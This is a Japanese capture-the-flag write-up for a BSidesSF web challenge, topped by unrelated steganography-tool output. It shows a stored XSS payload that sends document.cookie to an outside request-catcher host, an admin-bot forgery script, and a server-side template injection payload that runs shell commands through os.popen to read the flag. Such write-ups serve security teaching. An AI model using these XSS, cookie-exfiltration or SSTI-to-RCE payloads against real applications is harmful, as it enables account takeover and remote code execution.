imagedata           .. text: "UUUUUUUUUUUUUUVfffffwvfffffUUUVfUfffUUUUUUUUUEUVeUUUUUUfefeUVfffffVfffffffffffwvUUfffffgvfgvfffffVfgeUUfffUUfffffffffffffVfeUVfffgfffffffgvfffffgvgwwwwfgfwwwwwwwvfffgwvvffwwwwwwvffvffffffggegwvwffeUVfefffUUUVffffffffVfffffffffeUVgfgwffeVffffUUUVfffffffffffUUUfffeUVfffUUVffffUUUUUfffeUfffeUUUVfffffffffffVfVffeUVUUfffffffgfffffffgvfffffeVfffffffveUUffffffffffffefffUUUUUVUUUfeUVUVfgfwgwffffffUfUUUffffeUUffgveffeVffffVffffffwffeUUUUUUUUVfffffffffffffgwffffffffffffUffUfffffeUUfffffwffffffffffUUUff"
b2,r,msb,xy         .. file: VISX image file
b2,b,lsb,xy         .. text: "UUUUUUU]U"
b4,r,lsb,xy         .. text: "UUUUUUU\\"
b4,r,msb,xy         .. text: "wwwwwwwwwwwwww733333"
b4,g,lsb,xy         .. text: ["3" repeated 20 times]
b4,b,lsb,xy         .. text: "wwwwwwwwwwwwwwy"

[Web] business-expense

ソースコード有り。管理者に承認が得られるサイトが与えられる。問題文に

There is also an admin user that is periodically accessing certain endpoints.

と記載があり、admin.htmlが以下のような感じでXSSできそうな見た目をしているので、/adminに定期アクセスがあるんだろう。

<td>
    {{ v.expense | safe}}
</td>
<td>
    {{ v.cost }}
</td>
<td>
    {{ v.currency | safe}}
</td>

まずはXSSを達成する。

XSS

上記にあるようにexpenseとcurrencyでXSS発生できる可能性がある。これらを代入している所を探すとPOST /api/saveExpensesで使われている。

@app.route('/api/saveExpenses', methods=['POST'])
@login_required
def save_expenses():
    for expense in request.json:
        if len(expense["expense"]) > 50:
            return "Expense names must be less than 50 characters long", 400
        expense["expense"] = escape(expense["expense"])

        if not expense["cost"].replace('.', '', 1).isdigit():
            return "Expense costs must be a number", 400

        if len(expense["currency"]) > 10:
            return "Expense currency must be less than or equal to 10 characters", 400

    
    current_user.expenses = json.dumps(request.json)
    current_user.status = "Updated"
    db.session.commit()

    return "Looks good", 200

expanseはescapeがかまされているが、currencyの方は長さチェックだけ行われている。10文字以下であることが強制されているが、型チェックが無いので配列を使えば回避できそうである。やってみよう。GET /adminに表示させるにはキューに入れる必要がある。

  1. 適当にアカウントを作り、ログイン
  2. POST /api/saveExpensesで自分のcurrencyを["<script>fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);</script>"]とする
POST /api/saveExpenses HTTP/2
Host: business-expense-14bece99.challenges.bsidessf.net
Cookie: session=.eJwljkuKAzEMRO_idRaSZX2cyzS2LDFDYAa6k1XI3ccw8DZVtaj3LkeecX2V-_N8xa0c36vcixJ1jfANVJUBZKQtAIe2FT1NZDQD9HSuHia1j9oRkYmbB7L2lisqzOQ-eBoxjTrBSGwNtY37lMycoD1D9hqsqDxpefayRV5XnP82ojv7debx_H3Ez27IJ7taE9p-nG6OAsNYsHIsXE77N6CVzx8I_j9v.ZjciKg.oFQB_AjOw50V6WASYk3kZkNcn5E
Content-Length: 156
Content-Type: application/json;charset=UTF-8

[{"expense":"dinner","cost":"50","currency":["<script>fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);</script>"]}]
  1. POST /api/addToQueueでキューに入れる
  2. adminが踏むのを待つ

これで試すと踏まれた!XSSは達成できた。しかし、sessionトークンはHttpOnlyで取得はできないようだ。しょうがないので、このまま攻撃を進める。

RCE

ここからRCEにつないでいく。以下のように不自然にテンプレートを使っている所がある。

@app.route('/api/getStatus', methods=['GET'])
@login_required
def get_status():
    out = ""
    if current_user.status == "Accepted":
        out = "<div style=\"color:green;\">"+current_user.status+"</div>"
    elif current_user.status == "Denied":
        out = "<div style=\"color:red;\">"+current_user.status+"</div>"
    else:
        out = "<div>"+current_user.status+"</div>"

    return render_template_string(out)

ユーザーのstatusが変更できればこれは達成できそう。statusの変更は以下のようにやる。POST /api/updateExpenseStatusでできそう。

@app.route('/api/updateExpenseStatus', methods=['POST'])
@login_required
def update_expense_status():
    if current_user.admin:
        if len(users_queue) > 0:
            if users_queue[0][1] == request.json["popID"]:
                user = load_user(users_queue.pop(0)[0])
                user.status = request.json["status"]

                db.session.commit()
                return "Looks good", 200
            else:
                return "Invalid popID", 400
        else:
            return "No pending requests", 400
    else: 
        return "Must be an admin to access this page", 403

実はこれの呼び出しが管理人がやっていることで、admin.jsを見ると呼び出しコードがある。

window.addEventListener("load", () => {

    document.querySelector("#approve").onclick = () => statusButtons.updateStatus("Accepted", document.getElementById("approve").value);
    document.querySelector("#deny").onclick = () => statusButtons.updateStatus("Denied", document.getElementById("deny").value);
    
});

var statusButtons = {
    updateStatus : (message, popID) => {
        var xhttp = new XMLHttpRequest();
        xhttp.open("POST", "/api/updateExpenseStatus")
        xhttp.setRequestHeader("Content-Type", "application/json")
        xhttp.onreadystatechange = () => {location.reload();};
        xhttp.send(JSON.stringify({"popID": popID, "status": message}))
        console.log(xhttp.status)
    }
}

よって、これに従って呼んでやればいいのだが、botのソースが無いので謎のバグが取れず、非常に難航。以下のようなHTMLをいい感じに送ると更新できた。adminが踏んだ後にGET /api/getStatusにアクセスすると{{4*4}}が評価されて16が帰ってくることが確認できる。かなり動作は不安定。

<script>
const sleep = ms => new Promise(r => setTimeout(r, ms));
setTimeout(async () => {
    fetch(`https://[yours].requestcatcher.com/log1`);
    var xhttp = new XMLHttpRequest();
    xhttp.open('POST', '/api/updateExpenseStatus');
    xhttp.setRequestHeader('Content-Type', 'application/json');
    xhttp.send(JSON.stringify({'popID': document.getElementById('approve').value, 'status': '{{4*4}}'}));
    fetch(`https://[yours].requestcatcher.com/log2`);
}, 0)
</script>
<img src='https://ba43-86-48-12-221.ngrok-free.app/sleep.jpg'>

動作不安定すぎてやばかったが、何とか{{request.application.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}を送り込むことができた。これでGETパラメタ経由でRCEできるようになった。後は色々やると以下でフラグが得られる。

GET /api/getStatus?a=os&b=cat%20%2fapp%2fflag.txt HTTP/2
Host: business-expense-14bece99.challenges.bsidessf.net
Cookie: session=.eJwljkuKAzEMRO_idRaSZX2cyzS2LDFDYAa6k1XI3ccw8DZVtaj3LkeecX2V-_N8xa0c36vcixJ1jfANVJUBZKQtAIe2FT1NZDQD9HSuHia1j9oRkYmbB7L2lisqzOQ-eBoxjTrBSGwNtY37lMycoD1D9hqsqDxpefayRV5XnP82ojv7debx_H3Ez27IJ7taE9p-nG6OAsNYsHIsXE77N6CVzx8I_j9v.ZjciKg.oFQB_AjOw50V6WASYk3kZkNcn5E